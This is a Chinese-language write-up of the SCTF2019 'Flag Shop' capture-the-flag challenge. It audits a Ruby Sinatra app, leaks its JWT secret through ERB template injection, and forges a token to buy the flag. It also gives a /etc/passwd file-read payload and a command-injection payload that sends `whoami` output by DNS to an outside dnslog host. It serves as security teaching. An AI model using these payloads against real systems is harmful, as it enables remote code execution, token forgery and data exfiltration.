[SCTF2019]Flag Shop

[SCTF2019]Flag Shop

考点

  • ruby代码审计

  • ruby erb模板注入

wp

给了uid,金坷垃,flag价格三个参数,同时三个按钮,抓包。

buy flag按钮是POST请求/shop,在后端判断金坷垃是否够买flag

reset是GET请求/api/auth,返回新的cookie,auth=eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJhOTNkMDI3MS1iYjZlLTQyNTEtOGQ5Mi1lZjgxOWY1MTgxODQiLCJqa2wiOjIwfQ.F4fAw7T3hcalQsKyKjkLs6zbylPHTKEj6s9pJ7_XEcA,然后请求/shop获取主页,最后请求/api/info,获取用户uid和金坷垃

work是GET请求/work?name=bot&do=bot%20is%20working,随机增加金坷垃,然后请求/shop获取主页,最后请求/api/info,获取用户uid和金坷垃

把cookie放在jwt.io看一下

需要密钥才能修改,尝试jwt-crack破解未果

扫目录,发现robots.txt,提示访问/filebak,得到源码

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
ENV["SECRET"] = SecureRandom.hex(64)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

第一种方法

查一下sinatra是ruby的一个Web框架,erb是ruby自带的模板渲染包,如果输入可控,它会导致模板注入。

require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = 7*7
puts erb_object.result(binding())

枚举当前类的可用方法

require 'erb'

template = "text to be generated: <%= x %>"
erb_object = ERB.new(template)
x = self.methods
puts erb_object.result(binding())

Ruby ERB模板注入读取文件的payload:<%= File.open('/etc/passwd').read %>

看给的代码,在访问work时,有两个判断

一个是传入SECRET参数,params[:SECRET].nil?判断是否传入SECRET参数,然后匹配SECRET中的小写字母和数字并返回,再用#{}获取这个变量,最后和ENV["SECRET"]进行匹配。

#{var}在Ruby中进行变量替换。例如

name="Jack"
puts "His name i #{name}." 

match是进行匹配。例如

name = "peri0dLL".match(/[0-9a-z]+/)
puts "His name i #{name}." 

另外是传入do和name参数,满足name[0:7] is working==do,然后使用ERB渲染name

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

也就是说,传入的name不超过7个字符,并且符合这种形式name=1234567&do=1234567 is working。而ERB模板渲染的字符<%=%>就用了5个,只有两个字符可用。

使用<%=1%>测试,URL编码之后再传入

这里先进行两次匹配操作,还能够进行模板注入,可以通过模板注入返回全局变量

#!/usr/bin/ruby
# -*- coding: UTF-8 -*-
TEXT = "PREFIX.body.SUFFIX"
s = "prefix.body.suffix".match("#{TEXT.match(/[0-9a-z]+/)}")
puts s
puts $~
puts $`
puts $'

输出

body
body
prefix.
.suffix

可以得到结论

$~ 返回最后一次匹配到的内容

$` 返回最后一次未匹配到内容前面的部分

$' 返回最后一次未匹配到内容后面的部分

得到payload:GET /work?name=%3c%25%3d%24'%25%3e&do=%3c%25%3d%24'%25%3e%20is%20working&SECRET=

得到密钥

e116342f880734ac2a7b278cf120d847f420a344d98fc55b294c5eb4eae619ee50360e28da770ed194bf743b0dd611187f9ebd79c4c5d98dfbaa72db2d109987

jkl改成10000000000000000000000000000重新加密

eyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJkNmRmOTQwYi1kZWIzLTQ3MGEtOGE3Yy1lYTE5MzRmZWNkMjUiLCJqa2wiOjFlKzI4fQ.hVvQKdiKAVU_i0oEjUPdFyyby_Rx3NWTLzWTQE-mnq4

更改cookie再点击buy flag,在cookie中返回flag

auth << {flag: ENV["FLAG"]}
auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
cookies[:auth] = auth
json({title: "success",message: "jkl is good thing"})

第二种方法

前面提到,传入的name不超过7个字符,并且符合这种形式name=1234567&do=1234567 is working。而ERB模板渲染的字符<%=%>就用了5个,那只剩下两个字符可用。

对于这点,可以使用数组绕过。Ruby中存在数据类型自动强制转换机制。

$a = "mon123"
$b = Array["aaa","bbb","ccc"]
puts "$a: #{$a[0,3]}"
puts "$b: #{$b[0,3]}"

结果

$a: mon
$b: ["aaa","bbb","ccc"]

如果传入数组,那就从原本的7个字符,变成了7个数组长度

payload:

/work?name[]=<%=system('ping -c 1 `whoami`.xuu1g4.dnslog.cn')%>&name[]=1&name[]=2&name[]=3&name[]=4&name[]=5&name[]=6&do=["<%=system('ping -c 1 `whoami`.xuu1g4.dnslog.cn')%>", "1", "2", "3", "4", "5", "6"] is working

小结

最后更新于